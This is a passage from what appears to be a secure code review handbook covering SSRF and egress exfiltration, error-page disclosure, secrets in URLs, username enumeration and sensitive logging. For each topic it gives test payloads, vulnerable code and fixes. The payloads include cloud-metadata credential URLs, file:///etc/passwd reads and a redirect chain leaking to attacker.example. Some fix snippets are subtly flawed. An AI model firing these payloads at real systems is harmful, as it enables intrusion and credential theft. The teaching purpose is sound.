private static final Map<String, String> ALLOWED = Map.of(
    "logo", "https://cdn.partner.com/assets/logo.png",
    "banner", "https://cdn.partner.com/assets/banner.png");

public byte[] fetchThumbnail(String assetKey) throws Exception {
    String url = ALLOWED.get(assetKey);
    if (url == null) {
        throw new SecurityException("unknown asset");
    }
    URI uri = URI.create(url);
    InetAddress addr = InetAddress.getByName(uri.getHost());
    if (addr.isLoopbackAddress() || addr.isSiteLocalAddress() || addr.isLinkLocalAddress()) {
        throw new SecurityException("blocked destination");
    }
    HttpClient client = HttpClient.newBuilder()
        .followRedirects(HttpClient.Redirect.NEVER)
        .build();
    HttpRequest req = HttpRequest.newBuilder(uri).GET().build();
    return client.send(req, HttpResponse.BodyHandlers.ofByteArray()).body();
}
```

Important: Force outbound traffic through a controlled forward proxy when policy allows. Disable redirects or validate each hop.

C

Use a custom `DelegatingHandler` that rejects non-public destinations after DNS resolve.

```

public async Task<byte[]> FetchApprovedAsset(string assetId)
{
    var url = _assetCatalog.GetApprovedUrl(assetId);
    if (url is null) throw new SecurityException("unknown asset");

    var host = new Uri(url).Host;
    var addresses = await Dns.GetHostAddressesAsync(host);
    foreach (var addr in addresses)
    {
        if (IPAddress.IsLoopback(addr) || IsPrivate(addr))
            throw new SecurityException("blocked destination");
    }

    using var client = new HttpClient(new SsrSafeHandler()) { Timeout =
    TimeSpan.FromSeconds(5) };
    return await client.GetByteArrayAsync(url);
}

private static bool IsPrivate(IPAddress ip) =>
    ip.ToString().StartsWith("10.") || ip.ToString().StartsWith("192.168.");

```

Important: Store resource IDs and fetch from trusted internal catalogs instead of raw user URLs in production.

Go

Custom `Transport.DialContext` refuses private IPs. Allowlist permitted webhook hosts.

```

var allowedImageHosts = map[string]bool{"images.example.com": true, "cdn.partner.com": true}

func safeFetchThumbnail(raw string) ([]byte, error) {
    u, err := url.Parse(raw)
    if err != nil || u.Scheme != "https" || !allowedImageHosts[u.Hostname()] {
        return nil, fmt.Errorf("url not allowed")
    }
    addrs, err := net.LookupHost(u.Hostname())
    if err != nil {
        return nil, err
    }
    for _, a := range addrs {
        ip := net.ParseIP(a)
        if ip.IsLoopback() || ip.IsPrivate() || ip.IsLinkLocalUnicast() {
            return nil, fmt.Errorf("blocked destination")
        }
    }
    client := &http.Client{
        Timeout: 5 * time.Second,
        CheckRedirect: func(req *http.Request, via []*http.Request) error {
            return http.ErrUseLastResponse
        },
    }
    resp, err := client.Get(u.String())
    if err != nil {
        return nil, err
    }
    defer resp.Body.Close()
    return io.ReadAll(io.LimitReader(resp.Body, 1<<20))
}

```

Important: Cap response body size to reduce blind data exfiltration. Route outbound HTTP through policy-enforcing sidecars.

Internal and egress exfiltration { #egress }

From former 4-25-review-internal-and-egress-exfiltration.md. **Guiding chapter section:** [4.6 - Review SSRF and Egress § Internal and egress exfiltration](#).

4.25 Code Reference — Review Internal and Egress Exfiltration

Attack Payloads

Use these in authorized tests against URL fetchers, webhooks, and import-from-URL features. Confirm which networks and protocols the server process may reach.

Pattern 1: Loopback and localhost (SSRF abuse scenario)

```
http://127.0.0.1/admin
http://localhost:8080/actuator/health
http://[::1]/internal/
http://127.1/
```

Pattern 2: Cloud metadata

```
http://169.254.169.254/latest/meta-data/
http://metadata.google.internal/computeMetadata/v1/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
```

Pattern 3: Private RFC1918 ranges

```
http://10.0.0.15:9200/
http://192.168.1.1/
http://172.16.0.5/internal-api/users
```

Pattern 4: Alternate IP encodings and DNS rebinding

```
http://2130706433/           # decimal 127.0.0.1
http://0x7f000001/
http://attacker-controlled.example # resolves to 127.0.0.1 after TTL
```

Pattern 5: Non-HTTP schemes and file reads

```
file:///etc/passwd
file:///c:/windows/win.ini
gopher://internal:70/
```

Pattern 6: Open redirect and egress exfiltration chains

```
https://public.example/redirect?next=http://169.254.169.254/
http://internal.service/ → 302 Location: http://attacker.example/?leak=
```

Language-Specific Sinks and Dangerous APIs

Any server-side HTTP client that accepts a user-influenced URL or host is a review priority.

Python

```
urllib.request.urlopen(body["callback_url"])
async with aiohttp.ClientSession() as s:
    await s.get(webhook_target, allow_redirects=True)
requests.post(import_src, data=form) # when import_src is user JSON field
```

aiohttp, selenium with user URLs, PDF renderers that fetch remote assets.

Java

```
new URL(userUrl).openStream();
HttpClient.newHttpClient().send(HttpRequest.newBuilder().uri(URI.create(url)).build(), ...);
RestTemplate.getForObject(userUrl, String.class);
```

Apache HttpClient, ImageIO.read(new URL(url)), SSRF in SAML/OIDC metadata fetchers.

C

```
await httpClient.GetAsync(userUrl);
await new HttpClient().GetStringAsync(previewUrl);
WebClient.DownloadString(imageUrl);
```

JavaScript (Node.js)

```
const res = await fetch(req.body.callbackUrl);
axios.post(req.body.webhook, { ping: true });
https.get(userProvidedHost, (r) => { ... });
```

Go

```
resp, err := http.PostForm(r.FormValue("callback_url"), nil)
client.Get(r.URL.Query().Get("fetch"))
```

Shell and integration scripts

```
curl "$USER_URL"
wget -O- "$WEBHOOK"
```


Vulnerable Examples in Other Languages

Java

```
@GetMapping("/internal/proxy")
public void proxy(@RequestParam String path, HttpServletResponse resp) throws IOException {
    URL url = new URL("http://127.0.0.1" + path);
    HttpURLConnection conn = (HttpURLConnection) url.openConnection();
    IOUtils.copy(conn.getInputStream(), resp.getOutputStream());
}

@PostMapping("/webhooks/test")
public String testWebhook(@RequestBody Map<String, String> body) throws IOException {
    String callback = body.get("callbackUrl");
    HttpURLConnection conn = (HttpURLConnection) new URL(callback).openConnection();
    conn.setRequestMethod("POST");
    return new String(conn.getInputStream().readAllBytes());
}
```

C

```
[HttpGet("preview")]
public async Task<IActionResult> Preview([FromQuery] string url)
{
    using var client = new HttpClient();
    var html = await client.GetStringAsync(url);
    return Content(html, "text/html");
}

[HttpPost("import-from-url")]
public async Task<IActionResult> Import([FromBody] ImportRequest req)
{
    using var client = new HttpClient();
    var bytes = await client.GetByteArrayAsync(req.SourceUrl);
    await _storage.SaveAsync(req.DestinationKey, bytes);
    return Ok();
}
```

Go

```
func webhookTest(w http.ResponseWriter, r *http.Request) {
    var body struct {
        CallbackURL string `json:"callback_url"`
    }
    json.NewDecoder(r.Body).Decode(&body)
    resp, err := http.Get(body.CallbackURL)
    if err != nil {
        http.Error(w, err.Error(), http.StatusBadGateway)
        return
    }
    defer resp.Body.Close()
    io.Copy(w, resp.Body)
}
```

Fix: Safer Patterns and Libraries to Use

Python

Validate scheme, host, and port against an allowlist. Resolve DNS and block private IP ranges before connecting. Limit redirects and response size.

```

import ipaddress
import socket
from urllib.parse import urlparse

import requests
from flask import Flask, abort, request

ALLOWED_HOSTS = {"cdn.example.com", "images.example.com"}
BLOCKED_NETS = [
    ipaddress.ip_network("127.0.0.0/8"),
    ipaddress.ip_network("10.0.0.0/8"),
    ipaddress.ip_network("169.254.0.0/16"),
]

def safe_fetch(url: str) -> bytes:
    parsed = urlparse(url)
    if parsed.scheme != "https" or parsed.hostname not in ALLOWED_HOSTS:
        raise ValueError("URL not allowed")
    for info in socket.getaddrinfo(parsed.hostname, parsed.port or 443):
        addr = ipaddress.ip_address(info[4][0])
        if any(addr in net for net in BLOCKED_NETS):
            raise ValueError("blocked address")
    resp = requests.get(url, timeout=5, allow_redirects=False, stream=True)
    resp.raise_for_status()
    chunk = next(resp.iter_content(8192))
    return chunk

@app.route("/integrations/webhook-test")
def webhook_test():
    try:
        data = safe_fetch(request.json["callback_url"])
    except ValueError:
        abort(400)
    return data, 200, {"Content-Type": "application/octet-stream"}

```

Important: Pass opaque server-side IDs to background jobs instead of raw user URLs when possible.

Java

Use an allowlist. Disable redirects. Verify resolved IP after DNS.

```

import java.net.InetAddress;
import java.net.URI;
import java.net.http.HttpClient;
import java.net.http.HttpRequest;
import java.net.http.HttpResponse.Redirect;

private static final Set<String> ALLOWED_HOSTS = Set.of("cdn.example.com");

public byte[] safeFetch(String urlString) throws Exception {
    URI uri = URI.create(urlString);
    if (!"https".equals(uri.getScheme()) || !ALLOWED_HOSTS.contains(uri.getHost())) {
        throw new IllegalArgumentException("URL not allowed");
    }
    for (InetAddress addr : InetAddress.getAllByName(uri.getHost())) {
        if (addr.isLoopbackAddress() || addr.isLinkLocalAddress() || addr.isSiteLocalAddress()) {
            throw new IllegalArgumentException("blocked address");
        }
    }
    HttpClient client = HttpClient.newBuilder()
        .followRedirects(Redirect.NEVER)
        .connectTimeout(Duration.ofSeconds(5))
        .build();
    HttpRequest req = HttpRequest.newBuilder(uri).GET().build();
    return client.send(req, HttpResponse.BodyHandlers.ofByteArray()).body();
}

```

C

Bind named `HttpClient` instances to known base addresses. Validate host before `GetAsync`.

```

private static readonly HashSet<string> AllowedHosts = new() { "cdn.example.com" };

private static bool IsBlocked(IPAddress addr) =>
    IPAddress.IsLoopback(addr) ||
    addr.Equals(IPAddress.Parse("169.254.169.254")) ||
    (addr.IsIPv4 && (
        addr.GetAddressBytes()[0] == 10 ||
        (addr.GetAddressBytes()[0] == 172 && addr.GetAddressBytes()[1] >= 16) ||
        (addr.GetAddressBytes()[0] == 192 && addr.GetAddressBytes()[1] == 168)));

public async Task<byte[]> SafeFetchAsync(string url, IHttpClientFactory factory)
{
    if (!Uri.TryCreate(url, UriKind.Absolute, out var uri))
        throw new ArgumentException("Invalid URL");
    if (uri.Scheme != Uri.UriSchemeHttps || !AllowedHosts.Contains(uri.Host))
        throw new ArgumentException("URL not allowed");
    foreach (var addr in await Dns.GetHostAddressesAsync(uri.Host))
    {
        if (IsBlocked(addr))
            throw new ArgumentException("blocked address");
    }
    var client = factory.CreateClient("AllowlistedCdn");
    return await client.GetByteArrayAsync(uri);
}

```

Go

Parse URL, allowlist host, and use a custom dialer that refuses private IPs.

```

func safeFetch(raw string) ([]byte, error) {
    u, err := url.Parse(raw)
    if err != nil || u.Scheme != "https" || u.Hostname() != "cdn.example.com" {
        return nil, fmt.Errorf("URL not allowed")
    }
    addrs, err := net.LookupIP(u.Hostname())
    if err != nil {
        return nil, err
    }
    for _, addr := range addrs {
        if addr.IsLoopback() || addr.IsPrivate() || addr.IsLinkLocalUnicast() {
            return nil, fmt.Errorf("blocked address")
        }
    }
    client := &http.Client{
        Timeout: 5 * time.Second,
        CheckRedirect: func(req *http.Request, via []*http.Request) error {
            return http.ErrUseLastResponse
        },
    }
    resp, err := client.Get(u.String())
    if err != nil {
        return nil, err
    }
    defer resp.Body.Close()
    return io.ReadAll(io.LimitReader(resp.Body, 1<<20))
}

```

4.7 Code Reference — Review Information Disclosure and Logging

Error page disclosure { #errors }

From former 4-22-review-error-page-disclosure.md. **Guiding chapter section:** [4.7 - Review Information Disclosure and Logging § Error page disclosure](#).

4.22 Code Reference — Review Error Page Disclosure

Attack Payloads

Use these in authorized tests to trigger failures and inspect responses. Goal is to see whether stack traces, paths, or versions leak—not to exploit injection.

Pattern 1: Type and format errors

```
GET /api/users/not-a-number HTTP/1.1
POST /api/order {"quantity": "abc"} HTTP/1.1
Content-Type: application/json

{"id": null}
```

Pattern 2: Missing resources and path probes

```
GET /api/users/999999999 HTTP/1.1
GET ../../../../etc/passwd HTTP/1.1
GET /%00/report HTTP/1.1
```

Pattern 3: Database and query failures

```
GET /search?q=' HTTP/1.1
GET /report?sort=invalid_column HTTP/1.1
```

May return SQL syntax fragments, table names, or ORM query text in the body.

Pattern 4: Unhandled exceptions in business logic

```
POST /transfer {"amount": -1, "to": ""} HTTP/1.1
GET /export?format=__invalid__ HTTP/1.1
```

Divide-by-zero, null dereference, or assertion failures if not caught by a generic handler.

Pattern 5: Debug and health endpoints

```
GET /error?debug=1 HTTP/1.1
GET /__debug__/ HTTP/1.1
TRACE / HTTP/1.1
```

Language-Specific Sinks and Dangerous APIs

Find code paths that write exception details, stack traces, or framework diagnostics into HTTP responses.

Python

```
import traceback
return {"trace": traceback.format_exc()}, 500
app.run(debug=True)
# Flask/Werkzeug debugger, Django DEBUG=True in prod settings
```

Django: DEBUG template with stack trace. FastAPI: unhandled exception returns default detail with path.

Java

```
e.printStackTrace(response.getWriter());
return ResponseEntity.status(500).body(e.toString());
server.error.include-stacktrace=always
```

Spring Boot: `server.error.include-message, include-binding-errors`. Servlet container default error pages.

C

```
catch (Exception ex) {
    return Content(ex.ToString());
}
app.UseDeveloperExceptionPage(); // enabled in Production
```

ASP.NET Core: `DeveloperExceptionPageMiddleware, IncludeErrorDetail=true` on APIs.

JavaScript (Node.js)

```
res.status(500).json({ error: err.message, stack: err.stack });
app.use((err, req, res, next) => res.send(err.stack));
process.env.NODE_ENV = 'development';
```

Express error handler returning `err.stack`; Next.js dev overlay config in production build.

Go

```
http.Error(w, err.Error(), 500)
fmt.Fprintf(w, "%+v\n", debug.Stack())
```

panic without recover middleware; `log.Printf` then echoing `err` to client.

PHP

```
catch (Exception $e) { echo $e->getTraceAsString(); }
ini_set('display_errors', '1');
```

Laravel `APP_DEBUG=true` in deployed `.env`.

Reverse proxy / server config

```
# Default nginx/Apache 502 pages with version
proxy_intercept_errors off; # upstream stack body passed through
```

Vulnerable Examples in Other Languages

Java

```
try {
    processOrder(orderId);
} catch (Exception e) {
    e.printStackTrace(response.getWriter());
}
```

C

```
catch (Exception ex)
{
    return StatusCode(500, new { message = ex.Message, stack = ex.StackTrace });
}
```

Go

```
func handler(w http.ResponseWriter, r *http.Request) {
    if err := runJob(); err != nil {
        w.WriteHeader(http.StatusInternalServerError)
        fmt.Fprintf(w, "%+v", err)
        return
    }
}
```

Fix: Safer Patterns and Libraries to Use

Python

Register error handlers that return generic messages. Log full exceptions server-side with a correlation ID.

```
import traceback
import logging
import uuid
from fastapi import FastAPI
from fastapi.responses import JSONResponse

app = FastAPI()
logger = logging.getLogger("reports")

@app.exception_handler(Exception)
async def handle_error(request, exc):
    request_id = str(uuid.uuid4())
    logger.exception("unhandled error request_id=%s", request_id)
    return JSONResponse(
        {"error": "An internal error occurred.", "request_id": request_id},
        status_code=500,
    )

@app.get("/reports/run")
async def run_report():
    return await generate_report()
```

Important: Keep Django `DEBUG=False` in production. Use `handler500` and logging settings for details. Never return `traceback.format_exc()` to users.

Java

Map errors to static pages in `web.xml`. Configure Spring Boot to exclude stack traces in production.

```
<error-page>
  <exception-type>java.lang.Exception</exception-type>
  <location>/error/generic.html</location>
</error-page>
<error-page>
  <error-code>500</error-code>
  <location>/error/500.html</location>
</error-page>
```

```
# application-prod.properties
server.error.include-stacktrace=never
server.error.include-message=never
server.error.include-exception=false
```

```
@ControllerAdvice
public class GlobalErrors {
    private static final Logger log = LoggerFactory.getLogger(GlobalErrors.class);

    @ExceptionHandler(Exception.class)
    public ResponseEntity<ProblemDetail> handle(Exception ex) {
        String id = UUID.randomUUID().toString();
        log.error("request_id={}", id, ex);
        ProblemDetail body = ProblemDetail.forStatus(HttpStatus.INTERNAL_SERVER_ERROR);
        body.setTitle("Internal error");
        body.setProperty("request_id", id);
        return ResponseEntity.status(500).body(body);
    }
}
```

Important: Log full exceptions with SLF4J. Return RFC 7807 Problem Details without internal paths in public APIs.

C

Use exception handler middleware in production. Restrict developer exception page to Development environment.

```

if (app.Environment.IsDevelopment())
{
    app.UseDeveloperExceptionPage();
}
else
{
    app.UseExceptionHandler("/error");
    app.UseHsts();
}

app.Map("/error", () => Results.Problem(
    title: "An error occurred.",
    statusCode: StatusCodes.Status500InternalServerError));

```

```

catch (Exception ex)
{
    var requestId = Activity.Current?.Id ?? HttpContext.TraceIdentifier;
    _logger.LogError(ex, "Unhandled error {RequestId}", requestId);
    return StatusCode(500, new { error = "An internal error occurred.", requestId });
}

```

Important: Set `DetailedErrors=false` in production. Map to `ProblemDetails` without stack traces.

Go

Return generic HTTP errors. Log errors with structured logging and recover from panics in middleware.

```

func handler(w http.ResponseWriter, r *http.Request) {
    if err := runJob(); err != nil {
        requestId := middleware.RequestIDFromContext(r.Context())
        slog.Error("job failed", "request_id", requestId, "err", err)
        http.Error(w, "internal error", http.StatusInternalServerError)
        return
    }
}

func recoverMiddleware(next http.Handler) http.Handler {
    return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
        defer func() {
            if rec := recover(); rec != nil {
                slog.Error("panic", "recover", rec)
                http.Error(w, "internal error", http.StatusInternalServerError)
            }
        }()
        next.ServeHTTP(w, r)
    })
}

```

Important: Disable Gin/Echo debug mode in production. Use nginx or Envoy custom error pages as defense in depth.

Sensitive data in URL {:#url-data }

From former 4-23-review-sensitive-data-in-url.md. **Guiding chapter section:** [4.7 - Review Information Disclosure and Logging § Sensitive data in URL](#).

4.23 Code Reference — Review Sensitive Data in URL

Attack Payloads

Use these in authorized tests when secrets may appear in GET URLs, redirects, or Referer headers. Replace placeholders with your test values.

Pattern 1: Credentials in query string (login abuse scenario)

```
GET /login?user=admin&password=Secret123! HTTP/1.1
Host: app.example
```

The same request may be stored in proxy access logs, browser history, and analytics that capture full URIs.

Pattern 2: API key and bearer token in URL

```
GET /api/report?api_key=sk_live_abc123 HTTP/1.1
GET /download?access_token=eyJhbGciOiJIUzI1NiJ9... HTTP/1.1
```

Pattern 3: Password reset and magic-link tokens

```
GET /reset/confirm?token=8f3c2a1b9e7d4f6a HTTP/1.1
GET /magic-login?session=deadbeefcafebabe HTTP/1.1
```

Shareable links and email clients may retain the full URL indefinitely.

Pattern 4: Redirect that echoes secrets

```
HTTP/1.1 302 Found
Location: /dashboard?token=eyJhbGciOiJIUzI1NiJ9...
```

Pattern 5: Referer exfiltration to third party

```
<a href="https://analytics.example/landing">Continue</a>
```

When the prior page URL is `https://app.example/home?token=SECRET`, the browser may send:

```
Referer: https://app.example/home?token=SECRET
```

Pattern 6: OAuth and SSO callback tokens in query

```
GET /oauth/callback?code=AUTH_CODE&state=xyz HTTP/1.1
GET /sso/callback?access_token=LONG_LIVED_TOKEN HTTP/1.1
```

Language-Specific Sinks and Dangerous APIs

Search for bindings and builders that place secrets in the URL path or query string.

Python

```
pwd = request.args.get("password")
return redirect(f"/home?user={user}&token={token}")
logger.info("login url=%s", request.url) # full URI with query
```

Flask `request.url`, `request.full_path`; FastAPI `query()` on sensitive fields; Django `request.GET["password"]`.

Java

```
@GetMapping("/auth")
public void auth(@RequestParam String password) { ... }

resp.sendRedirect("/app?token=" + accessToken);
String uri = req.getRequestURI() + "?" + req.getQueryString();
log.info("request {}", uri);
```

Spring `@RequestParam` on GET login; servlet `getQueryString()` logged verbatim.

C

```
[HttpGet("auth")]
public IActionResult Auth([FromQuery] string password) { ... }

return Redirect($"/dashboard?token={accessToken}");
_logger.LogInformation("Request {Url}", Request.GetDisplayUrl());
```

JavaScript

```
const token = new URLSearchParams(location.search).get("token");
window.location = `/app?api_key=${apiKey}`;
fetch(`/proxy?url=${encodeURIComponent(secretUrl)}`);
```

Front-end routers that sync tokens into `history.pushState` query params.

Go

```
pass := r.URL.Query().Get("password")
http.Redirect(w, r, "/home?token="+token, http.StatusFound)
log.Printf("uri=%s", r.URL.String())
```

Access and APM logging

```
# nginx / load balancer access log line
GET /login?password=Secret123! HTTP/1.1" 200
```

Vulnerable Examples in Other Languages

Java

```
@WebServlet("/login")
public class LoginServlet extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp)
        throws ServletException, IOException {
        String email = req.getParameter("email");
        String password = req.getParameter("password");
        if (email != null && password != null) {
            authenticate(email, password);
        }
        req.getRequestDispatcher("/login.jsp").forward(req, resp);
    }
}

@GetMapping("/reset/confirm")
public String confirmReset(@RequestParam String token, Model model) {
    model.addAttribute("token", token); // token visible in browser address bar
    return "reset-form";
}
```

C

```
[HttpGet("auth")]
public IActionResult Auth([FromQuery] string username, [FromQuery] string password)
{
    var ok = _auth.Validate(username, password);
    return ok ? Ok() : Unauthorized();
}

[HttpGet("sso/callback")]
public IActionResult SsoCallback([FromQuery] string accessToken)
{
    // Token in query string – logged by proxies and sent in Referer
    SignInWithToken(accessToken);
    return Redirect($"{dashboard}?token={accessToken}");
}
```


Go

```
func login(w http.ResponseWriter, r *http.Request) {
    user := r.URL.Query().Get("user")
    pass := r.URL.Query().Get("pass")
    if authenticate(user, pass) {
        http.Redirect(w, r, "/home", http.StatusFound)
    }
}

func apiProxy(w http.ResponseWriter, r *http.Request) {
    key := r.URL.Query().Get("api_key")
    resp, _ := http.Get("https://partner.example/api?key=" + key)
    io.Copy(w, resp.Body)
}
```

Fix: Safer Patterns and Libraries to Use

Python

Accept credentials only on POST. Reject GET with password parameters. Put API keys in headers, not query strings.

```
from flask import Flask, request, redirect, render_template
from flask.views import MethodView

app = Flask(__name__)

class LoginView(MethodView):
    def get(self):
        return render_template("login.html")

    def post(self):
        user = request.form["user"]
        pwd = request.form["password"]
        if do_login(user, pwd):
            return redirect("/home") # clean URL, no echoed secrets
        return render_template("login.html", error="Invalid credentials"), 401

app.add_url_rule("/login", view_func=LoginView.as_view("login"), methods=["GET", "POST"])
```

```
# API keys belong in headers, not query strings
from fastapi import Header, HTTPException

async def verify_api_key(x_api_key: str = Header(..., alias="X-API-Key")):
    if not valid_key(x_api_key):
        raise HTTPException(status_code=401)
```

Important: After login or reset, redirect to URLs that strip tokens from the visible address bar.

Java

Use POST-only form login. Configure access logging to omit query strings on sensitive paths.

```
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp)
    throws ServletException, IOException {
    String email = req.getParameter("email");
    String password = req.getParameter("password");
    authenticate(email, password);
    resp.sendRedirect(req.getContextPath() + "/home");
}

@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp)
    throws ServletException, IOException {
    req.getRequestDispatcher("/login.jsp").forward(req, resp);
}
```

```
// Spring Security: form login POST endpoint only
http.formLogin(form -> form.loginPage("/login").loginProcessingUrl("/login"));
```

C

Bind credentials from the form body. Disable GET on the same action.

```
[HttpPost("auth")]
public IActionResult Auth([FromForm] string username, [FromForm] string password)
{
    var ok = _auth.Validate(username, password);
    return ok ? RedirectToAction("Home") : Unauthorized();
}
```

```
// Response header on sensitive pages
Response.Headers["Referrer-Policy"] = "no-referrer";
```

Go

Read credentials only after confirming POST. Return 405 for GET with password query params.

```
func login(w http.ResponseWriter, r *http.Request) {
    if r.Method != http.MethodPost {
        http.Error(w, "method not allowed", http.StatusMethodNotAllowed)
        return
    }
    if err := r.ParseForm(); err != nil {
        http.Error(w, "bad request", http.StatusBadRequest)
        return
    }
    user := r.FormValue("user")
    pass := r.FormValue("pass")
    if authenticate(user, pass) {
        http.Redirect(w, r, "/home", http.StatusSeeOther)
    }
}
```

Username enumeration {: #enumeration }

From former 4-24-review-username-enumeration.md. **Guiding chapter section:** [4.7 - Review Information Disclosure and Logging § Username enumeration](#).

4.24 Code Reference — Review Username Enumeration

Attack Payloads

Use these in authorized tests on login, registration, and password reset. Compare body, status code, headers, and timing for known-valid versus unknown identifiers.

Pattern 1: Distinct error messages (login abuse scenario)

```
POST /login
{"user":"known@victim.com","password":"wrong"}
→ {"error":"Invalid password"}

POST /login
{"user":"unknown@attacker.com","password":"wrong"}
→ {"error":"User does not exist"}
```

Pattern 2: HTTP status discrepancy

```
POST /reset {"email":"registered@victim.com"} → 200 OK
POST /reset {"email":"notregistered@x.com"} → 404 Not Found
```

Pattern 3: Registration and invite flows

```
POST /register {"email":"taken@victim.com"}  
→ {"error":"Email already registered"}  
  
POST /register {"email":"new@attacker.com"}  
→ {"ok":true}
```

Pattern 4: JSON existence flags

```
{"exists": true, "message": "Check your email"}  
{"exists": false, "message": "No account found"}
```

Pattern 5: Timing side channel

Repeated requests for unknown emails may return faster when the server skips mail queue or DB work. Measure response time distributions across many samples.

Pattern 6: Password reset email behavior

Observe whether an outbound email is sent only when the account exists, or whether UI text differs ("We sent a link" vs "Unknown user").

Language-Specific Sinks and Dangerous APIs

Search for branches that return different content when a user record is missing versus present.

Python

```
if not user:  
    return jsonify({"error": "No account with that email"}), 404  
return jsonify({"error": "Invalid password"}) # reveals valid user
```

Django authenticate followed by distinct messages; Flask `flash()` with different strings.

Java

```
if (user == null) {  
    resp.sendError(404, "User not found");  
} else {  
    resp.sendError(401, "Bad password");  
}  
return Map.of("registered", user != null);
```

Spring Security custom AuthenticationFailureHandler with per-case messages.

C

```
if (user == null)
    return NotFound("Email not registered");
return Unauthorized("Wrong password");
```

ASP.NET Identity error descriptions exposed to the client.

JavaScript

```
if (!user) return res.status(404).json({ error: "Unknown email" });
return res.status(401).json({ error: "Wrong password" });
```

Go

```
if user == nil {
    http.Error(w, "no such user", http.StatusNotFound)
    return
}
```

HTML and template leaks

```
<!-- Reset form only rendered when user exists -->
{% if user_found %}<p>Email sent</p>{% else %}<p>Unknown account</p>{% endif %}
```

Vulnerable Examples in Other Languages

Java

```
@PostMapping("/reset")
public String reset(@RequestParam String username, Model model) {
    Optional<User> user = userRepository.findByUsername(username);
    if (user.isEmpty()) {
        model.addAttribute("message", "User does not exist");
        return "reset";
    }
    mailService.sendReset(user.get());
    model.addAttribute("message", "The password reset link has been sent to you.");
    return "reset";
}

@PostMapping("/register")
public ResponseEntity<?> register(@RequestBody RegisterRequest req) {
    if (userRepository.existsByEmail(req.getEmail())) {
        return ResponseEntity.status(409).body(Map.of("error", "Email already registered"));
    }
    userRepository.save(new User(req.getEmail(), req.getPassword()));
    return ResponseEntity.ok(Map.of("message", "Account created"));
}
```

C

```
[HttpPost("forgot-password")]
public async Task<IActionResult> ForgotPassword([FromBody] string email)
{
    var user = await _users.FindByEmailAsync(email);
    if (user == null)
        return BadRequest("Unknown email address.");
    await _email.SendResetAsync(user);
    return Ok("Check your email.");
}

[HttpPost("login")]
public IActionResult Login([FromBody] LoginDto dto)
{
    var user = _users.FindByName(dto.Username);
    if (user == null)
        return Unauthorized(new { error = "user_not_found" });
    if (!_hasher.Verify(dto.Password, user.PasswordHash))
        return Unauthorized(new { error = "bad_password" });
    return Ok(SignIn(user));
}
```

Go

```
func forgot(w http.ResponseWriter, r *http.Request) {
    email := r.FormValue("email")
    u, err := store.UserByEmail(email)
    if err == sql.ErrNoRows {
        http.Error(w, "user not found", http.StatusNotFound)
        return
    }
    mailer.SendReset(u)
    w.Write([]byte("email sent"))
}

func register(w http.ResponseWriter, r *http.Request) {
    email := r.FormValue("email")
    if store.EmailExists(email) {
        http.Error(w, "email already registered", http.StatusConflict)
        return
    }
    store.CreateUser(email, r.FormValue("password"))
    w.WriteHeader(http.StatusCreated)
}
```

Fix: Safer Patterns and Libraries to Use

Python

Return the same message and status regardless of lookup result. Send email only server-side when the user exists.

```
from flask import Flask, request, render_template

app = Flask(__name__)
GENERIC_RESET_MSG = "If an account exists for that email, we sent reset instructions."

@app.post("/reset")
def reset():
    email = request.form["email"]
    user = User.query.filter_by(email=email).first()
    if user:
        send_reset(user)
    # Always the same response – no branch on user is None
    return render_template("reset_sent.html", message=GENERIC_RESET_MSG), 200
```

```

import time
import bcrypt

DUMMY_HASH = bcrypt.hashpw(b"dummy", bcrypt.gensalt())

def verify_login(username, password):
    user = User.query.filter_by(username=username).first()
    if user:
        return bcrypt.checkpw(password.encode(), user.password_hash.encode())
    # Align timing when user is missing
    bcrypt.checkpw(password.encode(), DUMMY_HASH)
    return False

```

Important: Rate-limit reset and login endpoints per IP and identifier to slow enumeration even with uniform responses.

Java

Use consistent messaging. Perform similar work when the user is absent to reduce timing gaps.

```

private static final String RESET_MESSAGE =
    "If an account exists, we sent password reset instructions.";

public void handleReset(HttpServletRequest req, HttpServletResponse resp) {
    String username = req.getParameter("username");
    Optional<User> user = userRepository.findByUsername(username);
    user.ifPresent(u -> {
        String token = tokenService.createResetToken(u);
        mailService.sendReset(u.getEmail(), token);
    });
    req.setAttribute("message", RESET_MESSAGE);
    doForward(req, resp);
}

```

C

Return identical response body and status for found and not-found email on reset.

```

private const string ResetMessage =
    "If an account exists for that email, we sent reset instructions.";

[HttpPost("forgot-password")]
public IActionResult ForgotPassword([FromForm] string email)
{
    var user = await _users.FindByEmailAsync(email);
    if (user != null)
        await _email.SendResetAsync(user);
    return Ok(ResetMessage);
}

```


Go

Use one success response for forgot-password regardless of ErrNoRows.

```
const resetMsg = "If an account exists for that email, we sent reset instructions."

func forgot(w http.ResponseWriter, r *http.Request) {
    email := r.FormValue("email")
    u, err := store.UserByEmail(email)
    if err == nil {
        mailer.SendReset(u)
    }
    w.WriteHeader(http.StatusOK)
    w.Write([]byte(resetMsg))
}
```

Sensitive logging {: #sensitive-logging }

From former 4-26-review-sensitive-logging.md. **Guiding chapter section:** [4.7 - Review Information Disclosure and Logging § Sensitive logging](#).

4.26 Code Reference — Review Sensitive Logging

Attack Payloads

These are abuse scenarios for what attackers or insiders may recover from logs—not payloads to send to the app. Use them to design log review checklists and redaction tests.

Pattern 1: Credential capture in application logs

```
INFO login attempt user=admin password=Secret123!
DEBUG auth body={"password":"x","token":"eyJ..."}
```

Pattern 2: Token and session leakage

```
Authorization: Bearer eyJhbGciOiJIUzI1NiJ9...
Set-Cookie: session=deadbeef; Path=/
API key validated: sk_live_abc123xyz
```

Pattern 3: Payment and regulated data

```
card=4111111111111111 cvv=123 exp=12/29  
ssn=123-45-6789
```

Pattern 4: Log injection via user-controlled fields (secondary risk)

```
username=admin%0aINFO Forged audit: admin logged in
```

Newline or forged severity in usernames may confuse parsers or SIEM rules.

Pattern 5: Exception and stack trace disclosure

```
SQLException: connection failed for user 'dbadmin' password 'DbP@ss!' at jdbc:mysql://internal-  
db:3306/prod
```

Pattern 6: Full request dumps in debug mode

```
REQUEST_HEADERS={... Authorization: Bearer ... Cookie: session=...}  
REQUEST_BODY={"password":"..."}
```

Language-Specific Sinks and Dangerous APIs

Search for log calls and serializers that include request objects, headers, or exception messages with user data.

Python

```
logger.info("login %s %s", user, password)  
logger.debug("headers %s body %s", request.headers, request.get_data())  
app.logger.exception(e) # may include SQL with secrets
```

`print(request.json)` in containers; `structlog` with unfiltered request dict.

Java

```
